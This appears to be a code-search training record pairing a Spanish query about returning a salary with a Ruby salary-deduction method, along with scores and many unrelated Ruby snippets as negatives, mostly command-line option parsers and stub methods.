\tproefs.order(:position)\n end", "def similar_questions\n\n end", "def index\n @questions = Question.all\n @total = @questions.count\n \n @relation_count = Hash.new(0)\n @country_count = Hash.new(0)\n \n @correct = 0\n @wrong = 0\n \n @questions.each do |q|\n @relation_count[q.relation] += 1\n @country_count[q.country] += 1\n if q.correct == true\n @correct += 1\n elsif q.correct == false\n @wrong += 1\n end \n end\n @ratio = @correct.to_f * 100 / (@correct.to_f + @wrong.to_f)\n \n @relation_count.sort_by {|k, v| -v}\n @country_count = @country_count.sort_by {|k, v| -v}\n \n end", "def quack(arg)\n if arg.is_a? Query\n # Handle it if someone passed in a used actual, but an unused ideal\n if arg.q == ''\n puts arg.q\n arg.term @actual_complete.q\n end\n resultset = arg.results\n elsif arg.is_a? ResultSet\n resultset = arg\n else\n raise 'Passing the scorer the wrong sort of reference object. Query or ResultSet are valid.'\n end\n resultset\n end", "def answers\n answers = Post.find_all_by_post_type_and_parent_id('answer', self.id)\n answers.sort{|x,y| y.rating <=> x.rating }\n end", "def ordered_by_qualifications(candidates)\n myArray = candidates\n #first sort by github points\n myArray.sort! { |a, b| a[:github_points] <=> b[:github_points] }\n #sort by experience\n myArray.sort! { |a, b| a[:years_of_experience] <=> b[:years_of_experience] }\n\n return myArray\nend", "def index\n# return redirect_to Quiz.published.first\n @quizzes = Quiz.all\n end", "def sort_entries=(_arg0); end", "def sort_answers\n ans_arr = @data.map do |answer|\n answer.split(' ', 2)\n end\n until ans_arr.count <= 25\n ans_arr.pop\n end\n a_num_to_i = ans_arr.map do |answer|\n answer = [answer[0].to_i, answer[1].strip]\n end\n @data = a_num_to_i.sort\n end", "def ordered_by_qualifications(candidates)\n\n candidates.sort_by{ |candidate| [-candidate[:years_of_experience], -candidate[:github_points]] }\n\nend" ]
[ "0.65230846", "0.63319683", "0.594961", "0.58776706", "0.5803569", "0.5789615", "0.5739532", "0.57153594", "0.5710512", "0.5710512", "0.5678767", "0.56657684", "0.5662804", "0.5623195", "0.56018525", "0.5584009", "0.55725807", "0.5570002", "0.55498713", "0.55464685", "0.55464685", "0.55464685", "0.55464685", "0.55464685", "0.5546025", "0.55250263", "0.55037194", "0.5488782", "0.5485747", "0.5485522", "0.5463793", "0.54516554", "0.5445808", "0.54398966", "0.5433024", "0.54319745", "0.54311085", "0.54287285", "0.54068816", "0.5401385", "0.53993595", "0.53969705", "0.53893805", "0.53883517", "0.53831816", "0.5382277", "0.5370783", "0.53587407", "0.5342101", "0.5340742", "0.532551", "0.53107834", "0.52997726", "0.5295736", "0.52849555", "0.52842015", "0.52710724", "0.52693", "0.5266058", "0.5255472", "0.5255378", "0.5250463", "0.52503145", "0.5241771", "0.52357954", "0.52281713", "0.52260244", "0.5223874", "0.5216335", "0.5206052", "0.5204386", "0.5199953", "0.51870006", "0.5179004", "0.5167409", "0.51653355", "0.5164507", "0.5162092", "0.51582587", "0.5149831", "0.5143663", "0.51385397", "0.51371163", "0.51365376", "0.5133503", "0.5132526", "0.5128381", "0.5121834", "0.5119319", "0.51112586", "0.5107572", "0.51075596", "0.5106691", "0.5106018", "0.5104776", "0.5104429", "0.5104022", "0.51034874", "0.51026624", "0.5091092" ]
0.56399304
13
metodos Me retorna sueldo
def calculo_de_sueldo(attr={}) retencion = @salario * 0.1 salud = @salario * 0.07 pension = @salario * 0.12 sueldo = @salario - retencion - salud - pension end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def suivre; end", "def mi_carrera\n\n\tend", "def zuruecksetzen()\n end", "def private; end", "def schubert; end", "def verdi; end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def sigla; @nome; end", "def retornoBusqueda()\nreturn @busqueda\nend", "def formation; end", "def relatorios\n end", "def get_nombre; @nombre; end", "def terpene; end", "def probers; end", "def secondo\n self[1]\n end", "def schumann; end", "def sonido()\n return super << \" miaaauuu\"\n end", "def romeo_and_juliet; end", "def get()\n \n end", "def eplore\n end", "def get_data()\t\n\tend", "def who_we_are\r\n end", "def rossini; end", "def returns; end", "def extrato\n\n end", "def solicitudes_atrasadas\n end", "def somme\n fail \"Doit etre defini dans la sous-classe\"\n end", "def puertos\n raise 'implement please!'\n end", "def celebration; end", "def nombre_completo\n\tprimer_nombre+\" \"+primer_apellido\n#fin del metodo\nend", "def refutal()\n end", "def guct\n end", "def nome\n @nome \n end", "def villian; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def retire\n\n end", "def letzte_komponente\n \n end", "def get_nombre()\n @nombre\n end", "def malts; end", "def feruchemist; end", "def status_da_divulgacao(topico)\n end", "def result; end", "def result; end", "def result; end", "def result; end", "def result; end", "def result; end", "def result; end", "def result; end", "def An()\n return @RownanieWielomianu.first.Wspolczynnik\n end", "def retornoBusqueda()\n\t\treturn @busqueda\n\tend", "def mostra_tudo\n apius.mostra_resumo\n apide.mostra_resumo\n apifr.mostra_resumo\n apimt.mostra_resumo\n apies.mostra_resumo\n apigm.mostra_resumo\n apibc.mostra_resumo\n end", "def custom; end", "def custom; end", "def povuci_mrezu\n return @mreza\n end", "def nombre\n @nombre\n end", "def devolver_azucar \n\t\treturn @azucares\n\tend", "def donizetti; end", "def sommaire\n @data = Membre.codePostaux\n end", "def mi_horario\n\n\tend", "def nome\n @nome\n end", "def sub_e\n end", "def getArbol\r\n return @pila_a.last #puedes hacer getArbol sucesivos sin modificar nada en lo absoluto.\r\n end", "def motto; end", "def preco\n @preco\n end", "def candidatGrille()\n\n\tend", "def nature; end", "def nombre\r\n return @nombre\r\n \r\n end", "def berlioz; end", "def nome\n @nome\n end", "def rla\n end", "def marcoReal\n\t\t@marcoReal\n\tend", "def bellini; end", "def pessoavaidois(lugar)\n \"indo para \" + lugar\nend", "def ausgabe\n\t\t@name\n\tend", "def values() end", "def name\n nome\n end", "def sn\n end", "def funktionsname\n\tanweisung\nend", "def nome_perfil\n \tself.descricao\n end", "def scrap\n @titulo = self.titulo\n @cuerpo = self.cuerpo\n @autor = self.autor\n @fecha = self.fecha\n end", "def extra; end", "def extraer_inicio()\n @[email protected]\n\n end", "def comisiones_asignadas\n asunto.comisiones if asunto\n end", "def ausgabe\n\t\t@name\n\t\n\tend", "def monica\n end", "def value() end" ]
[ "0.7543577", "0.70416635", "0.68899274", "0.65834004", "0.6473345", "0.64088166", "0.6395721", "0.6395721", "0.6395721", "0.6395721", "0.6283242", "0.62435704", "0.61812484", "0.61591816", "0.6108985", "0.61085206", "0.6073562", "0.6024866", "0.60212564", "0.601153", "0.59327453", "0.59245783", "0.5916957", "0.58652544", "0.58628464", "0.58621866", "0.5833672", "0.5802279", "0.5792889", "0.5791111", "0.5786706", "0.5785674", "0.57813114", "0.57641387", "0.5759187", "0.5758318", "0.57501286", "0.57441986", "0.57441986", "0.57441986", "0.57441986", "0.57441986", "0.57441986", "0.57441986", "0.57441986", "0.57441986", "0.57441986", "0.57441986", "0.57441986", "0.57425195", "0.5728594", "0.57181704", "0.5717129", "0.5713851", "0.5705747", "0.56897354", "0.56897354", "0.56897354", "0.56897354", "0.56897354", "0.56897354", "0.56897354", "0.56897354", "0.56894344", "0.5673411", "0.5665815", "0.5661279", "0.5661279", "0.565892", "0.5653528", "0.5650882", "0.564856", "0.56368935", "0.5630983", "0.5607691", "0.5598396", "0.55935115", "0.5592768", "0.5589897", "0.5586091", "0.55845", "0.5581545", "0.5581334", "0.5580653", "0.5577515", "0.5572612", "0.55566114", "0.55555934", "0.5552928", "0.5552146", "0.553631", "0.55350554", "0.55349874", "0.55277383", "0.55253226", "0.5516046", "0.5507276", "0.5507161", "0.5504657", "0.54965615", "0.548918" ]
0.0
-1
CLI will parse all command line options
def initialize(args) @args = args @options = OpenStruct.new parse validate end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parse_command_line()\n opts = GetoptLong.new(\n [ \"--input-file\" , \"-i\", GetoptLong::REQUIRED_ARGUMENT ],\n [ \"--verbose\" , \"-v\", GetoptLong::NO_ARGUMENT ]\n )\n #----------------------------- defaults\n\n opts.each do |opt, arg|\n if (opt == \"--input-file\" ) ; $input_file = arg\n elsif (opt == \"--verbose\" ) ; $verbose = 1\n end\n\n if ($verbose != 0) ; puts \"Option: #{opt}, arg #{arg.inspect}\" ; end\n end\nend", "def parse_opts\n option_parser.parse(@argv)\n end", "def parse_command_line\n OptionParser.new do |opts|\n opts.banner = \"Usage: ruby #{$0} [options]\"\n\n opts.on_head(\"-h\", \"--help\", \"Show this help message\") do\n puts opts\n exit\n end\n\n opts.on(\"-v\", \"--verbose\", \"Show all progress messages (INFO, DEBUG, WARNING, ERROR)\") do\n Logger.verbose = true\n end\n\n opts.on(\"-q\", \"--quiet\", \"Only show WARNING and ERROR messages\") do\n Logger.quiet = true\n end\n\n opts.on(\"--console\", \"Open up a console to query the source via rbgccxml\") do\n @requesting_console = true\n end\n\n opts.on(\"--clean\", \"Force a complete clean and rebuild of this extension\") do\n @force_rebuild = true\n end\n\n end.parse!\n end", "def parse_cli\n require 'getoptlong'\n require 'rdoc/usage'\n \n opts = GetoptLong.new(\n [ '--help', '-h', GetoptLong::NO_ARGUMENT ],\n [ \"--quote-terms\", '-q', GetoptLong::NO_ARGUMENT ]\n )\n \nend", "def parse_command_line\n prepend_environment_options\n options = options_with_defaults\n\n OptionParser.new do |parser|\n\n parser.on(\"-h\", \"--help\", \"Show help\") do |_help_requested|\n ARGV << 'h' # pass on the request to the command processor\n options.suppress_command_line_validation = true\n end\n\n parser.on('-i', '--input_dir DIR',\n \"Input directory containing source data files, default: '#{DEFAULT_INPUT_DIR}'\") do |v|\n options.input_dir = File.expand_path(v)\n end\n\n parser.on('-o', '--output_dir DIR',\n \"Output directory to which report files will be written, default: '#{DEFAULT_OUTPUT_DIR}'\") do |v|\n options.output_dir = File.expand_path(v)\n end\n\n parser.on('-r', '--receipt_dir DIR',\n \"Directory root from which to find receipt filespecs, default: '#{DEFAULT_RECEIPT_DIR}'\") do |v|\n options.receipt_dir = File.expand_path(v)\n end\n\n parser.on('-s', '--shell', 'Start interactive shell') do |v|\n options.interactive_mode = true\n end\n\n parser.on('-v', '--[no-]verbose', 'Verbose mode') do |v|\n options.verbose_mode = v\n end\n\n parser.on('-y', '--[no-]say', 'Say error messages.') do |v|\n options.say = v\n end\n\n parser.on('', '--[no-]receipts', 'Include report on existing and missing receipts.') do |v|\n options.do_receipts = v\n end\n end.parse!\n\n if options.verbose_mode\n puts \"Run Options:\"\n ap options.to_h\n end\n\n options\n end", "def parse\n # The options specified on the command line will be collected in *options*.\n # We set default values here.\n OptionParser.new { |options| parse_options options}.parse!(@args)\n @options\n end", "def parse_options(opts, args); end", "def parse(args)\n begin \n opt_parser.parse!(args)\n rescue ::OptionParser::InvalidOption => e\n puts help\n exit(1)\n end\n options\n end", "def parse_command_line_options\n options = {}\n options[:config] = \"config/clamav.yml\" # default\n opts = OptionParser.new\n # define options\n opts.banner = \"Usage: clamav.rb [-c file] [-u] [-i time]\"\n opts.on('-c', '--config FILE',\n \"Specify config file other than default \",\n \"'config/clamav.yml' - use relative path\") do |file|\n options[:config] = file\n end\n opts.on('-i', '--install TIME', Time,\n \"Install LaunchAgent to run clamav.rb every\",\n \"day at specified time {eg: 2:30pm}\",\n \"Try using with --config FILE\",\n \"Requires RELOGIN\") do |time|\n options[:install] = time\n end\n opts.on('-u', '--uninstall', \"Uninstall LaunchAgent - requires RELOGIN\") do |time|\n options[:uninstall] = true\n end\n opts.on_tail(\"-h\", \"--help\", \"Show this message\") {puts opts; exit 0}\n opts.on_tail(\"-v\", \"--version\", \"Show version\") {puts \"clamav.rb 1.1.0\"; exit 0}\n # parse options\n opts.parse!(ARGV)\n options\nend", "def parse\n @opts = OptionParser.new { |opts| process_opts(opts) }\n @opts.parse!(@args)\n\n process_args\n\n @options\n end", "def parse_command_line(args)\n all_opts = OptionParser.new do |opts|\n opts.banner = \"Usage: #{PROGRAM_NAME} [OPTIONS] PASSWORD\"\n opts.separator ''\n\n opts.on(\n '-t',\n '--load-timeout [TIMEOUT_SECONDS]',\n Integer,\n 'Timeout in seconds to wait for',\n 'gitlab-rails console to load',\n 'and process the change.',\n \"Defaults to #{DEFAULT_LOAD_TIMEOUT} seconds.\"\n ) do |timeout|\n @options.load_timeout = timeout\n end\n\n opts.on(\n '-v',\n '--verbose',\n 'Print out debug info when processing.'\n ) do\n @options.debug = true\n end\n\n opts.on(\n '-h',\n '--help',\n 'Help Message'\n ) do\n puts opts\n @options.help_requested = true\n end\n end\n\n all_opts.parse!(args)\n\n unless @options.help_requested\n fail('ERROR: You must specify the password to set') if (ARGV.length < 1)\n\n @options.password = ARGV[0]\n fail('ERROR: Password cannot be empty') if @options.password.strip.empty?\n end\n end", "def parse_command_line_args(args)\n opts = OptionParser.new do |opts|\n opts.banner = 'Usage: tbibtools [OPTIONS] [FILES] < IN > OUT'\n opts.separator ''\n opts.separator 'tbibtools is a free software with ABSOLUTELY NO WARRANTY under'\n opts.separator 'the terms of the GNU General Public License version 2 or newer.'\n opts.separator ''\n \n opts.on('-c', '--config=FILE', String, 'Configuration file') do |value|\n @configuration.config value\n end\n\n opts.on('-e', '--regexp=REGEXP', String, 'Display entries matching the regexp') do |value|\n @configuration.filter Regexp.new(value)\n end\n\n opts.on('-f', '--format=STRING', String, 'Re-format entries (order matters)') do |value|\n @configuration.format *value.split(/,/)\n end\n\n opts.on('--[no-]formatted', 'Unformatted output') do |bool|\n unless bool\n @configuration.entry_format = []\n @configuration.entry_format_default = []\n end\n end\n\n opts.on('-i', '--[no-]case-sensitive', 'Case insensitive') do |bool|\n @configuration.sort_case bool\n end\n \n opts.on('-l', '--format-list=[STRING]', String, 'Format string for list (implies --ls)') do |value|\n @configuration.shortcut_ls\n @configuration.list_format value if value\n end\n\n opts.on('--ls', 'Synonym for: -f list,stripPrelude (\"list\" implies \"unwrap\")') do |bool|\n @configuration.shortcut_ls if bool\n end\n\n opts.on('-o', '--output=FILE', String, 'Output file') do |value|\n @configuration.output value\n end\n\n opts.on('-P', '--strip-prelude', 'Strip the prelude: same as -f stripPrelude but helps to maintain the original formatting') do |bool|\n @configuration.strip_prelude\n end\n\n opts.on('-q', '--query=FIELD=REGEXP', String, 'Show entries for which field matches the regexp') do |value|\n field, rx = value.split(/=/, 2)\n @configuration.query field => Regexp.new(rx, Regexp::IGNORECASE)\n end\n\n opts.on('-s', '--sort=STRING', String, 'Sort (default: sort by key; key = _id, type = _type)') do |value|\n @configuration.sort_key value\n end\n\n opts.on('-S', '--[no-]expand-strings', 'Replace/expand strings') do |bool|\n @configuration.expand_strings bool\n end\n\n opts.on('--strip=FIELDS', String, 'Ignore/strip fields') do |value|\n @configuration.strip value.split(/,/)\n end\n\n opts.on('-u', '--unsorted', 'Unsorted output') do |bool|\n @configuration.sort_key nil\n end\n\n opts.separator ''\n opts.separator 'Other Options:'\n \n opts.on('--debug', Integer, 'Show debug messages') do |v|\n $DEBUG = true\n $VERBOSE = true\n end\n \n opts.on('-v', '--verbose', 'Run verbosely') do |v|\n $VERBOSE = true\n end\n \n opts.on('-h', '--help', 'Show this message') do\n puts opts\n exit 1\n end\n\n opts.separator ''\n opts.separator 'Available formats:'\n format_rx = /^(format|preprocess|head|body|tail)_/\n format_names = (['nnIsYear', 'sortCrossref', 'downcaseType', 'upcaseType'] + \n @configuration.methods.find_all{|m| m =~ format_rx}.collect{|m| m.sub(format_rx, '')}).uniq.sort.join(', ')\n opts.separator format_names\n\n opts.separator ''\n opts.separator 'Known format shortcuts:'\n acc = []\n @configuration.methods.find_all{|m| m =~ /^shortcut_/}.sort.each do |meth|\n fn = meth.sub(/^shortcut_/, '')\n fs = @configuration.send(meth, acc)\n opts.separator \"#{fn}: #{fs.join(',')}\"\n end\n end\n @configuration.input *opts.parse!(args)\n self\n end", "def create_and_parse_cli_options\n opt = OptionParser.new\n\n opt.on(\"--host HOST\", \"-h\", \"Management IP address or hostname\") do |v|\n @options[:host] = v\n end\n\n opt.on(\"--vendor VENDOR\", \"-p\", \"Hardware vendor\") do |v|\n @options[:vendor] = v\n end\n\n opt.on(\"--model MODEL\", \"-m\", \"Hardware model\") do |v|\n @options[:model] = v\n end\n\n opt.on(\"--community COMMUNITY\", \"-c\", \"SNMP community\") do |v|\n @options[:community] = v\n end\n\n opt.on(\"--version VERSION\", \"-v\", \"SNMP version\") do |v|\n @options[:version] = v\n end\n\n opt.on(\"--debug\", \"Enable debug output\") do |_v|\n @options[:debug] = true\n @debug = true\n end\n\n opt.on(\"--cache-results\", \"Store results output as JSON in /tmp\") do |_v|\n @options[:cache_results] = true\n end\n\n opt.parse!\n end", "def parse_cli!(arg_list)\n options = {}\n parser = OptionParser.new do |opts|\n VALUE_OPTIONS.each do |(short, long, message)|\n opts.on(\"-#{short} MANDATORY\", \"--#{long} MANDATORY\", message) do |val|\n options[long] = val\n end\n end\n\n FLAG_OPTIONS.each do |(short, long, message)|\n opts.on(\"-#{short}\", \"--#{long}\", message) do |val|\n options[long] = true\n end\n end\n\n opts.on(\"-F\", \"--format\", \"The format is always JSON. Deal with it.\") do\n options['format'] = 'j'\n end\n end\n\n parser.parse!(arg_list)\n options\n end", "def cli_parse\n @command = nil\n\n cli @argv,\n \"-R --rules\" => lambda{ @command = :list },\n \"-H --help\" => lambda{ @command = :help },\n \"-a --auto\" => method(:watch=),\n \"-f --fresh\" => method(:fresh!),\n \"-s --script\" => method(:script=),\n \"-D --debug\" => method(:debug!)\n end", "def parse!( args )\n @args = args\n @options.grep!(args)\n end", "def parse_command_line &block\n data = {}\n\n OptionParser.new do |opts|\n opts.banner = \"Usage: #{File.basename($0)} [options]\"\n\n opts.on(\"-c CONFIG\", \"--conf CONFIG\", \"YAML config file\") do |config|\n data[\"config\"] = config\n end\n\n opts.on(\"-p PARAMS\", \"--params PARAMS\", \"Additional default options - key: value as JSON string, override values from config file\") do |params|\n data[\"params\"] = JSON.parse(params)\n end\n\n # process custom args, if given\n block.call(opts) if block_given?\n\n opts.on_tail('-h', '--help', 'display this help and exit') do\n puts opts\n exit\n# return nil\n end\n\n# begin\n opts.parse(ARGV)\n# rescue OptionParser::InvalidOption\n# # do nothing\n# end\n\n end\n\n @args = data\n end", "def parse_options()\n\n options = {}\n\n ARGV.each_index do |index|\n case $*[index]\n when '-m' then options[:auto_connect] = false\n when '-v' then options[:verbose] = true\n when '-q' then options[:verbose] = false\n when '-t' then options[:log_truncate] = true\n when '-r' then options[:log_response] = false\n else\n ::Twiga.say_warn \"unknown option: #{arg}\"\n end # case\n\n $*.delete_at(index) # remove from command line\n\n end # do each cmd line arg\n \n return Kinokero::Cloudprint::DEFAULT_OPTIONS.merge(options)\n\n end", "def handle_options\n OptionParser.new do |opts|\n opts.banner = 'Travis CI Command Line Client'\n\n setup_help(opts) {|opts|\n opts.separator ''\n opts.separator 'Supported Options:'\n client_options().each {|option| opts.on(*option)}\n opts.on_tail('--help', '-h', '-H', 'display this help message.') do\n $stdout.print opts\n exit\n end\n }\n end.parse!\n end", "def parse_command_line args\n args.options do |opt|\n opt.on(\"rutema v#{Version::STRING}\")\n opt.on(\"Options:\")\n opt.on(\"--config FILE\", \"-c FILE\",String,\"Loads the configuration from FILE\") { |config_file| @config_file=config_file}\n opt.on(\"--check\",\"Runs just the suite setup test\"){@check=true}\n #opt.on(\"--step\",\"Runs test cases step by step\"){@step=true}\n opt.on(\"--silent\",\"Suppresses console output (only for the default reporters)\") { @silent=true}\n opt.on(\"--bare\",\"No default reporters whatsoever\") { @bare=true}\n #opt.on(\"--color\",\"Adds color to the Console reporter\") { @color=true}\n opt.on(\"-v\", \"--version\",\"Displays the version\") { $stdout.puts(\"rutema v#{Version::STRING}\");exit 0 }\n opt.on(\"--help\", \"-h\", \"-?\", \"This text\") { $stdout.puts opt; exit 0 }\n opt.on(\"--debug\", \"-d\", \"Turn on debug messages\") { $DEBUG=true }\n opt.on(\"You can provide a specification filename in order to run a single test\")\n opt.parse!\n #and now the rest\n unless @config_file\n puts \"No configuration file defined!\\n\"\n $stdout.puts opt \n exit 1\n end\n if !args.empty?\n @test_identifier=args.shift\n end\n end\n end", "def parse_options\n @cl_non_options = @cl_parser.parse(ARGV)\n end", "def parse(args)\n @options = args\n end", "def parse(args)\n optparser = new_option_parser\n optparser.parse!(args)\n abort_missing_options(optparser)\n @options\n end", "def parse(argv)\n options = parser.process!(argv)\n validate_options(options)\n Revamp.logger.level = Logger::INFO unless options[:verbose]\n options\n end", "def parse_options\n set_defaults\n unless parsed_options? && arguments_valid?\n output_usage\n exit 1\n end\n end", "def parse\n parser.parse(ARGV)\n @options\n rescue OptionParser::InvalidOption => e\n puts e\n puts parser\n #p @options\n exit(1)\n end", "def parse(args)\n @options = {}\n @options[:command] = :scan # Default command is to scan for lints\n\n OptionParser.new do |parser|\n parser.banner = \"Usage: #{@application.executable_name} [options] [file1, file2, ...]\"\n\n add_linter_options parser\n add_file_options parser\n add_misc_options parser\n add_info_options parser\n end.parse!(args)\n\n # Any remaining arguments are assumed to be files that should be linted\n @options[:included_paths] = args\n\n @options\n rescue OptionParser::InvalidOption => ex\n raise InvalidCliOptionError,\n \"#{ex.message}\\nRun `#{@application.executable_name} --help` to \" \\\n 'see a list of available options.'\n end", "def parse_options\n @opts = Slop.parse do |o| \n o.string '-f1', '--file1', 'First source file'\n o.string '-f2', '--file2', 'Second source file'\n o.on '-v', '--version' do\n puts Slop::VERSION\n end\n end\n rescue Exception => e\n raise\n end", "def parse\n @opts = OptionParser.new(&method(:set_opts))\n @opts.parse!(@args)\n\n process_result\n\n @options\n end", "def parse_command_line_options!(args)\n OptionParser.new do |opts|\n opts.on('-h', '--help', 'Display this screen') do\n raise UsageError.new(opts)\n end\n end.parse!(args)\n return {}, args\n end", "def parse!\n begin\n @opts = OptionParser.new(&method(:set_opts))\n @opts.parse!(@args)\n @options\n rescue Exception => e\n raise e if e.is_a?(SystemExit)\n\n $stderr.puts e.message\n exit 1\n end\n exit 0\n end", "def parse( args )\n opts = OptionParser.new\n opts.banner = 'Usage: stratus [options] target [target args]'\n\n opts.separator ''\n\n desired_opts = %[--describe --prereqs --tasks --trace]\n app.standard_rake_options.each do |options|\n next unless desired_opts.include?(options.first)\n opts.on(*options)\n end\n\n opts.separator ''\n opts.separator 'common options:'\n\n opts.on_tail( '-h', '--help', 'show this message' ) do\n @out.puts opts\n exit\n end\n opts.on_tail( '-q', '--quiet', 'show compact messages' ) do\n ENV['STRATUS_LOGGING'] = 'quiet'\n end\n opts.on_tail( '--version', 'show version' ) do\n @out.puts \"Stratus #{::Stratus::VERSION}\"\n exit\n end\n \n begin\n opts.parse! args\n rescue OptionParser::InvalidOption => ex\n puts \"!! #{ex}\"\n end\n \n \n ARGV.replace Array(args.shift)\n args.delete_if do |arg|\n if %r/^[A-Z_]+=/ =~ arg\n ARGV << arg\n next true\n end\n false\n end\n\n args\n end", "def parse_args\n options = {}\n optparse = OptionParser.new do|opts|\n # Set a banner\n opts.banner = \"Usage: harness.rb [-c || --config ] FILE [-d || --testdir] DIR\"\n\n options[:testdir] = nil\n opts.on( '-d', '--testdir DIR', 'Execute tests in DIR' ) do|dir|\n options[:testdir] = dir\n end\n options[:config] = nil\n opts.on( '-c', '--config FILE', 'Use configuration FILE' ) do|file|\n options[:config] = file\n end\n\n opts.on( '-h', '--help', 'Display this screen' ) do\n puts opts\n exit\n end\n end\n optparse.parse!\n return options\nend", "def optparse!(argv) # rubocop:disable Metrics/MethodLength\n options = Options.new\n option_parser = OptionParser.new do |parser|\n parser.banner = \"Usage: #{parser.program_name} [options]\"\n parser.on('-hHOST', '--host=HOST', 'Coursemology host to connect to') do |host|\n options.host = host\n end\n\n parser.on('-tTOKEN', '--api-token=TOKEN') do |token|\n options.api_token = token\n end\n\n parser.on('-uUSER', '--api-user-email=USER') do |user|\n options.api_user_email = user\n end\n\n parser.on('-o', '--one-shot') do\n options.one_shot = true\n end\n end\n\n option_parser.parse!(argv)\n options\n end", "def parse(argv)\n parser, options = parse_main(argv)\n\n # Options that are mutually-exclusive with everything else.\n options = {:help => true} if options[:help]\n options = {:version => true} if options[:version]\n\n validate_options!(options)\n\n @options = options\n @help_text = parser.to_s\n\n self\n end", "def parse_options!(args)\n option_parser.parse!(args)\n\n if args.empty?\n abort(\"You must give exactly one command to execute.\")\n else\n @options.command = args.join(\" \")\n end\n end", "def parse(args)\n opts = OptionParser.new\n opts.banner = usage\n\n descriptions.each do |text|\n opts.separator ' ' + text\n end\n\n set_options(opts)\n parse_options(opts, args)\n end", "def process_command_line_options\r\n begin\r\n defer, found = \"\", false\r\n opts = GetoptLong.new(\r\n [ \"--help\", \"-h\", \"-?\", GetoptLong::NO_ARGUMENT ],\r\n [ \"--load\", \"-l\", GetoptLong::REQUIRED_ARGUMENT ],\r\n [ \"--debug\", \"-d\", GetoptLong::NO_ARGUMENT ],\r\n [ \"--quit\", \"-q\", GetoptLong::NO_ARGUMENT ],\r\n [ \"--words\", \"-w\", GetoptLong::NO_ARGUMENT ])\r\n\r\n # Process the parsed options\r\n opts.each do |opt, arg|\r\n unless found\r\n puts; found = true\r\n end\r\n\r\n case opt\r\n when \"--debug\"\r\n @debug = true\r\n when \"--load\"\r\n defer << \"load\\\"#{arg}\\\" \"\r\n when \"--quit\"\r\n defer << \")quit \"\r\n when \"--words\"\r\n defer << \")words \"\r\n else\r\n fail SilentExit\r\n end\r\n end\r\n\r\n puts if found\r\n rescue Exception => e\r\n puts\r\n puts \"fOOrth available options:\"\r\n puts\r\n puts \"--help -h -? Display this message and exit.\"\r\n puts \"--load -l <filename> Load the specified fOOrth source file.\"\r\n puts \"--debug -d Default to debug ON.\"\r\n puts \"--quit -q Quit after processing the command line.\"\r\n puts \"--words -w List the current vocabulary.\"\r\n puts\r\n raise SilentExit\r\n end\r\n\r\n defer\r\n end", "def parse_args\n @args.extend OptionParser::Arguable\n opts = @args.getopts('cdDi:lm:n:o:s:St:uvVz')\n @nsocks = opts['s'] ? opts['s'].to_i : 1\n @max_idle = opts['i'] ? opts['i'].to_i : DEFAULT_MAX_IDLE\n @max_use = opts['m'] ? opts['m'].to_i : DEFAULT_MAX_USE\n $VERBOSE = true if opts['v']\n end", "def parse_options(args)\n args.each do |arg|\n case arg\n when '-h', '--help' then @opts[:help] = true\n when '-un', '--user' then @opts[:user] = args.next(arg)\n when '-pw', '--pass' then @opts[:pass] = args.next(arg)\n when '-t', '--token' then @opts[:token] = args.next(arg)\n when '-g', '--get' then @opts[:get] = args.next(arg)\n when '-d', '--debug' then @opts[:debug] = true\n when '-r', '--random' then @opts[:get] = nil\n else next\n end\n end\n end", "def parse!(argv)\n options = {}\n parser = configure_base!(OptionParser.new)\n parser.parse!(argv, into: options)\n unless options.key?(:input)\n puts 'Missing --input argument, which is required.'\n Advent2019.show_help(parser)\n end\n options\n end", "def main(command_line_options=ARGV)\n parser = Slop::Parser.new cli_flags\n arguments = parse_arguments(command_line_options, parser)\n\n if arguments.key?(:ce) || arguments.key?(:ci) || arguments.key?(:h)\n if arguments.key?(:ci)\n\n end\n if arguments.key?(:ce)\n\n end\n if arguments.key?(:h)\n puts cli_flags\n end\n exit\n end\n\n elsif set?(arguments, :port)\n puts portquiz arguments[:port]\n elsif set?(arguments, :down)\n puts is_it_up arguments[:down]\n end", "def parse_options!(argv)\n HighLine.use_color = false if !STDOUT.tty? && !ENV.has_key?(\"AUTOTEST\")\n\n OptionParser.new do |opts|\n opts.banner = \"Usage: montage [config file path] [options]\"\n\n opts.on('-c', '--[no-]color', '--[no-]colour',\n 'Enables and disables colour output.') do |color|\n HighLine.use_color = color\n end\n\n opts.on('-f', '--force',\n 'Regenerate sprites even if no changes have been made.') do\n Montage::Commands.config[:force] = true\n end\n\n # opts.on('-q', '--quiet',\n # 'Tell Montage to shut up. No messages sent to STDOUT.') do\n # Montage::Commands.config[:quiet] = true\n # end\n\n opts.on_tail(\"-h\", \"--help\", \"Shows this message.\") do\n say BLANK\n say opts.to_s\n exit\n end\n\n opts.on_tail(\"--version\", \"Print the current Montage version.\") do\n say BLANK\n say \"Montage v#{Montage::VERSION}\"\n exit\n end\n end.parse!(argv)\n\n argv\n end", "def handle_options\n parse_options(argv)\n if config[:version]\n show_version\n else\n show_help\n end\n exit 0\n end", "def parse_opts\n if parse_argv\n apply_options\n true\n end\n end", "def setup\n begin\n @options = OptParser.parse(ARGV)\n rescue ParserExceptions::MissingArgument\n exit(1)\n end\n\n end", "def parse\n opts = OptionParser.new(&method(:set_options))\n opts.parse!(@args)\n return login if @login\n puts opts.help\n end", "def parse_options(args)\n\t\t\t\tbegin\n\t\t\t\t\t@options['output'] = :stdout\n\t\t\t\t\t@options['verbose'] = false\n\t\t\t\t\t@options['rescan'] = false\n\t\t\t\t\t@options[:timeout] = 25\n\t\t\t\t\t@options[:directory] = nil\n\n\t\t\t\t\topts = OptionParser.new do |opt|\n\t\t\t\t\t\topt.banner = \"#{APP_NAME} v#{VERSION}\\nJacob Hammack\\n#{HOME_PAGE}\\n\\n\"\n\t\t\t\t\t\topt.banner << \"Usage: #{APP_NAME} <options>\"\n\t\t\t\t\t\topt.separator('')\n\t\t\t\t\t\topt.separator('File Options')\n\n\t\t\t\t\t\topt.on('-h HASH', '--search-hash HASH', 'Searches a single hash on virustotal.com') do |hash|\n\t\t\t\t\t\t\[email protected](hash)\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-r HASH[,HASH]', '--rescan-hash HASH[,HASH]', 'Requests a rescan of a single hash, or multiple hashes (comma separated), by virustotal.com') do |hash|\n\t\t\t\t\t\t\t@options['rescan'] = true\n\t\t\t\t\t\t\[email 